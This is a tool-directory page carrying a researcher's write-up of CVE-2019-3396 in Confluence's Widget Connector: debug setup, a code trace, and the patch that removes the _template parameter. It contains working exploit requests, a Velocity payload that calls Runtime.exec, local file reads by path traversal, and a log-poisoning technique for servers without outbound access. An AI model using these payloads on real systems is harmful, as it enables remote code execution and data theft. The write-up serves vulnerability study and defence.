Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2019-3396 — Confluence unauthorize template injection | Kitploit
Tools/GitHubGitHub/petrusviet/cve-2019-3396
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubpetrusviet/cve-2019-3396

cve-2019-3396

Confluence unauthorize template injection

View Repository
215 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Confluence unauthorised template injection (CVE-2019-3396)

I) Building

  • This bug occurs on the following versions:
    • All versions 1.x.x, 2.x.x, 3.x.x, 4.x.x and 5.x.x
    • All versions 6.0.x, 6.1.x, 6.2.x, 6.3.x, 6.4.x and 6.5.x
    • All versions 6.6.x before 6.6.12
    • All versions 6.7.x, 6.8.x, 6.9.x, 6.10.x and 6.11.x
    • All versions 6.12.x before 6.12.3
    • All versions 6.13.x before 6.13.3
    • All versions 6.14.x before 6.14.2
  • After downloading the source, you need to:
    • Change the value of confluence.home to the confluence home path in the file ./confluence/WEB-INF/classes/confluence-init.properties
    • Add the CATALINA_OPTS value so the program can run in remote debug mode

For Windows, file ./bin/setenv.bat

root@kitploit:~
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

for Linux, file ./bin/setenv.sh

root@kitploit:~
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"  
  • In the IDE (Intellij), create a Debug Configuration: Remote JVM Debug with host and port set to localhost:5005 and Command line arguments for remote JVM
root@kitploit:~
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
  • You can use PostgreSQL as the database:
root@kitploit:~
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
 
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
  • You need to add the jars: ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar to the lib so that when debugging you can see the necessary source.

  • Run the file ./bin/start-confluence.bat and you can refer to this guide to install from source.

II) Analysis

  • After reading the Description, we can know that this bug starts from the Widget Connector feature, so I immediately Google it to know what this feature is and how to use it:

    2 Edit a page

    3
    Choose Other macros

    4 Choose Widget connector

    image

  • I randomly chose some parameters and then clicked preview, then switched to Burp to see if anything interesting. image

  • In this packet, I saw a parameter "pluginKey":"com.atlassian.confluence.extra.widgetconnector", so I guessed that the Widget Connector feature is defined in class com.atlassian.confluence.extra.widgetconnector. Therefore, I searched in the path to see if there was any suspicious jar package.

image

  • I tried adding the file ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar to the project's lib to read the source code and debug.

    1
    How to add jar file to lib

  • Opening the widgetconnector package, I felt inclined towards class WidgetMacro, so I set breakpoints at the constructor and the execute function of this class to see if this class is called when I use the Preview feature 🕵️

    • image

    • The execute function was called, then the program called DefaultRenderManager.getEmbeddedHtml

    • image

    • We see that to enter the if block, we need to satisfy the condition widgetRenderer.matches(url). We proceed to check the function in class

Download Tool
widgetRenderer.matches(url)
YoutubeRenderer
  • image

  • image

  • Thus, I need to set the parameter url as a YouTube video link (or Vimeo, Twitter, ...). I set url to any YouTube video URL and the program jumped into the if statement and then called the function widgetRenderer.getEmbeddedHtml(url, params) (class YoutubeRenderer)

  • image

  • The program enters the function setDefaultParam, where we see a hidden parameter _template that looks suspicious :)

  • image

  • After exiting the setDefaultParam function, the program calls the function DefaultVelocityRenderService.render

  • image

  • Continue through the function getRenderedTemplate and VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap)

  • image

  • image

  • Continue to VelocityUtils.getRenderedTemplate(String templateName, Context context) and getRenderedTemplateWithoutSwallowingErrors(templateName, context)

  • image

  • The function renderTemplateWithoutSwallowingErrors

  • image

  • The program calls the function getTemplate then VelocityEngine.getTemplate and RuntimeInstance.getTemplate. Here we see that the program calls the function getResource with the input parameter being the value of the _template parameter. In Java, the getResource function can be used to load a resource as a local file or a file on the internet (via HTTP).

  • Stop and think: Does this allow an attacker to inject any template (from the local server or from an attacker's host) into the program by adding the _template parameter to the request?

  • image

  • We continue tracing back to see how the program handles the template after obtaining it:

  • After getting the template, the program calls the function VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer);

  • image

  • Then it proceeds to template.merge(context, writer);

  • root@kitploit:~
    public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
          if (this.errorCondition != null) {
              throw this.errorCondition;
          } else if (this.data == null) {
              String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
              throw new RuntimeException(msg);
          } else {
              InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
              ica.setMacroLibraries(macroLibraries);
              if (macroLibraries != null) {
                  for(int i = 0; i < macroLibraries.size(); ++i) {
                      try {
                          this.rsvc.getTemplate((String)macroLibraries.get(i));
                      } catch (ResourceNotFoundException var17) {
                          this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
                          throw var17;
                      } catch (ParseErrorException var18) {
                          this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
                          throw var18;
                      } catch (Exception var19) {
                          throw new RuntimeException("Template.merge(): parse failed in template  " + (String)macroLibraries.get(i) + ".", var19);
                      }
                  }
              }
    
              if (this.provideScope) {
                  ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
              }
    
              try {
                  ica.pushCurrentTemplateName(this.name);
                  ica.setCurrentResource(this);
                  ((SimpleNode)this.data).render(ica, writer);      ### POC can be rendered here ###
              } catch (StopCommand var20) {
                  if (!var20.isFor(this)) {
                      throw var20;
                  }
    
                  if (this.rsvc.getLog().isDebugEnabled()) {
                      this.rsvc.getLog().debug(var20.getMessage());
                  }
              } catch (IOException var21) {
                  throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
              } finally {
                  ica.popCurrentTemplateName();
                  ica.setCurrentResource((Resource)null);
                  if (this.provideScope) {
                      Object obj = ica.get(this.scopeName);
                      if (obj instanceof Scope) {
                          Scope scope = (Scope)obj;
                          if (scope.getParent() != null) {
                              ica.put(this.scopeName, scope.getParent());
                          } else if (scope.getReplaced() != null) {
                              ica.put(this.scopeName, scope.getReplaced());
                          } else {
                              ica.remove(this.scopeName);
                          }
                      }
                  }
    
              }
    
          }
      }
    
    • Here we see that the program calls SimpleNode.render. This function uses the Velocity template to parse the template. At this point, we can see that it is possible to write an RCE PoC:

    POST request when requesting the Preview feature

    root@kitploit:~
    POST /rest/tinymce/1/macro/preview HTTP/1.1
    Host: localhost:8090
    Cookie: seraph.confluence=; JSESSIONID=
    Connection: close
    
    {
    "contentId":"622594",
    "macro": {
        "name":"widget",
        "body":"","params": {
          "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
          "width":"10",
          "height":"10",
          "_template":"https://pastebin.com/raw/JPEpiuLG"
          }
    }
    }
    

    payload file

    root@kitploit:~
    #set($x="x")
    $x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
    
    • The PoC ran successfully:
    • image

    Stack call

    root@kitploit:~
    WidgetMacro: execute
      -> DefaultRenderManager: getEmbeddedHtml
      	-> YoutubeRenderer: getEmbeddedHtml
      		-> DefaultVelocityRenderService: render -> getRenderedTemplate
      			-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
      				
      				-> VelocityEngine: getTemplate
      					-> RuntimeInstance: getResource 
    
      			-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors
    
      				-> Template: merge
      					=>  SimpleNode: render
    

    Thus, we have successfully reproduced this bug. However, if the target is a server that blocks outbound connections, the attacker cannot get resources from the internet and can only get resources from local files on the server.

    In that case, how can we exploit it?

    I received a suggestion that somehow the user can inject payload into a log file. This is a pretty good idea, so I immediately started figuring out how.

    • I started looking at log files in the Confluence Home to see what was special about them. I looked at log files in ./shared-home/analytics-logs/ and saw some familiar key-value pairs that seemed to be sent from the client side.
    • image
    • I saw a packet POST /rest/analytics/1.0/publish/bulk that sent some key-value pairs like above.
    root@kitploit:~
    [{"name":"browser.metrics.navigation",
    "properties":{
     "apdex":"0.5",
     "firstPaint":"528",
     "isInitial":"true",
     "journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
     "key":"confluence.dashboard.view",
     "navigationType":"0",
     "readyForUser":"1117",
     "redirectCount":"0",
     "resourceLoadedEnd":"499",
     "resourceLoadedStart":90.35499999299645,
     "threshold":"1000",
     "unloadEventStart":"47",
     "unloadEventEnd":"47",
     "fetchStart":"25",
     "domainLookupStart":"25",
     "domainLookupEnd":"25",
     "connectStart":"25",
     "connectEnd":"25",
     "requestStart":"27",
     "responseStart":"28",
     "responseEnd":"37",
     "domLoading":"52",
     "domInteractive":"538",
     "domContentLoadedEventStart":"538",
     "domContentLoadedEventEnd":"691",
     "domComplete":"1176",
     "loadEventStart":"1176",
     "loadEventEnd":"1176",
     "userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
     "pageEnd":"531",
     "isBigPipeEnabled":"false",
     "serverDuration":"339",
     "requestCorrelationId":"36006c54d2919ecd",
     "resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
     "userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
     }]
    
    • I tried replacing some values and noticed that the resourceTiming value could be arbitrarily modified and still be written to the log.
    • image
    • Thus, we can inject payload into a log file on the local server.
    • From here, we can read the file ./confluence/WEB-INF/classes/confluence-init.properties to find the Confluence home location.
    root@kitploit:~
    POST /rest/tinymce/1/macro/preview HTTP/1.1
      
    {
    "contentId":"1507329",
    "macro":{
    "name":"widget",
    "body":"",
    "params":{
      "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
      "_template":"/../../WEB-INF/classes/confluence-init.properties",
      "width":"11",
      "height":"11"
      }
    }
    }
    
    • Then use that to find the location of the log file containing the payload I injected:
    root@kitploit:~
    POST /rest/tinymce/1/macro/preview HTTP/1.1
        
    {
    "contentId":"1507329",
    "macro":{
      "name":"widget",
      "body":"",
      "params":{
        "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
        "_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
        "width":"11",
        "height":"11"
        }
      }
    }
    
    • If the log file is too large to be used as a template for parsing, we can push logs until the file reaches its size limit. At that point, the system automatically writes logs to a new file, giving the attacker the opportunity to use a new log file with a smaller size to inject payload for exploitation.

    III) Fix

    In the patched version, class WidgetMacro has an additional function doSanitizeParameters that removes the "_template" parameter before calling renderManager.getEmbeddedHtml(url, parameters);

    image image image